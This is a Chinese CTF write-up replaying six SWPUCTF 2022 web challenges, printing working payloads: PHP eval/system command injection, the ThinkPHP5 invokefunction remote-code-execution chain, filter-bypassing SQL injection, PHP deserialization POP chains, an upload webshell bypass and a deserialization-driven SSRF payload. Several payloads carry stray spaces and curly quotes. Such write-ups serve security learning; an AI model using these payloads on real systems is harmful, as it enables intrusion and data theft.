【Web】SWPUCTF 2022 新生赛个人复现

本文介绍: 挑了部分题，太简单的就没选进来（但选进来≠有难度）

①webdog1__start

挑了部分题，太简单的就没选进来（但选进来≠有难度）

①web dog1__start

进来没啥东西，右键查看源码

对于0e215962017，md5后也是以0e开头

?web=0e215962017

跳转到/start.php

没啥信息，这里bp抓包看响应头发现hint

访问/f14g.php

继续抓包发现hint(意义何在？？？？)

访问/F1l1l1l1l1la g.php

/F1l1l1l1l1lag.php?get=system(‘ls’);

因为有长度限制，所以我们尝试转接

/F1l1l1l1l1lag.php?get=eval($_GET[1]);&1=system(‘tac flag.php‘);

回显

就是说flag在/flag里呗

/F1l1l1l1l1lag.php?get=eval($_GET[1]);&1=system(‘tac /flag‘);

拿到flag

②ez_rce

进来先灵魂发问

懒得扫目录了，直接访问/robots.txt

访问/NSS/index.php/

惊了！！是TP5！！

直接检索 thinkphp5 漏洞原理分析合集

?s=index/thinkapp/in vokefunction&function=call_user_func_array&v ars[0]=system&v ars[1][]=ls /flag

?s=index/thinkapp/in vokefunction&function=call_user_func_array&v ars[0]=system&v ars[1][]=tac /flag/flag

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&am p;vars[1][]=ls /flag/flag

均无回显

?s=index/thinkap p/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=print env

看环境变量

确定flag不在该文件下了

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / –name flag*

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /nss/ctf/flag/flag /flag /flag

拿到flag

或者其实这类框架漏洞利用的题都是有相应工具能梭的（）

③ez_sql

提示用post传参

简单测了一下过滤了空格，注释符绕过，union,or,and，双写绕过即可

nss=1’/**/oorrder/**/by/**/4#

nss=999’/**/ununion ion/**/select/**/1,2,3#

999’/**/ununion ion/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=data base()),3#

999’/**/ununionion/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=data base()/**/aandnd/**/table_name=’NSS_tb’),3#

999’/**/ununionion/**/select/**/1,(select/**/group_concat(Secr3t,flll444g)/**/from/**/NSS_tb),3#

④ez_1zpop

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

这个甚至不用搓链子，只要绕过一个wake_up就可以

（echo $this可以直接触发__toString）

构造

$b=new fin();
$a=new lt();
$a->impo=$b;
$b->a='system';
$b->title='tac /flag';
$a->md51='s878926199a';
$a->md52='s155964671a';
echo serialize($a);

最终payload:

?NSS=O:2:”lt”:4:{s:4:”impo”;O:3:”fin”:3:{s:1:”a”;s:6:”system”;s:3:”url”;s:21:”https://www.ctfer.vip“;s:5:”title“;s:9:”tac /flag”;}s:4:”md51″;s:11:”s878926199a”;s:4:”md52″;s:11:”s155964671a”;}

⑤file_master

进来页面可以读文件可以传文件

?filename=index.php看源码

MIME检测，文件头检测，文件内容检测

改Content-Type: image/jpeg

文件头

#define height 1
#define width 1

php用短标签即可

访问 /upload/hggmm3ekc10fc6arlp5d03oamr/yjh3.php

下略

⑥Power!

右键查看源码发现提示

?source=index.php

看index.php源码

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>

?image_path=flag.php

点开echo的链接

flag被放在了 127.0.0.1:65500 ，外网无法访问

看来要用SSRF了

搓链子

FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()

注意程序在 unserialize 之后会调用 $FV->loadfile();, 如果 $FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行
解决方法就是再实例化一个 FileViewer 对象将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

构造

<?php
class FileViewer{
    public $local = "http://127.0.0.1:65500/";
    public $path = '';
}
    class Backdoor{
    public $a;
    public $b;
    public $superhacker;
}

$y = new FileViewer();
$x = new Backdoor();
$x->a = $y;
$x->b = 'local';
$x->superhacker = 'http://127.0.0.1:65500/';
$z = new FileViewer();
$z->test = $x;
echo base64_encode(serialize($z));

payload:

?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czo1OiJsb2NhbCI7czoyMzoiaHR0cDovLzEyNy4wLjAuMTo2NTUwMC8iO3M6NDoicGF0aCI7czowOiIiO3M6NDoidGVzdCI7Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjoyOntzOjU6ImxvY2FsIjtzOjIzOiJodHRwOi8vMTI3LjAuMC4xOjY1NTAwLyI7czo0OiJwYXRoIjtzOjA6IiI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9fQ==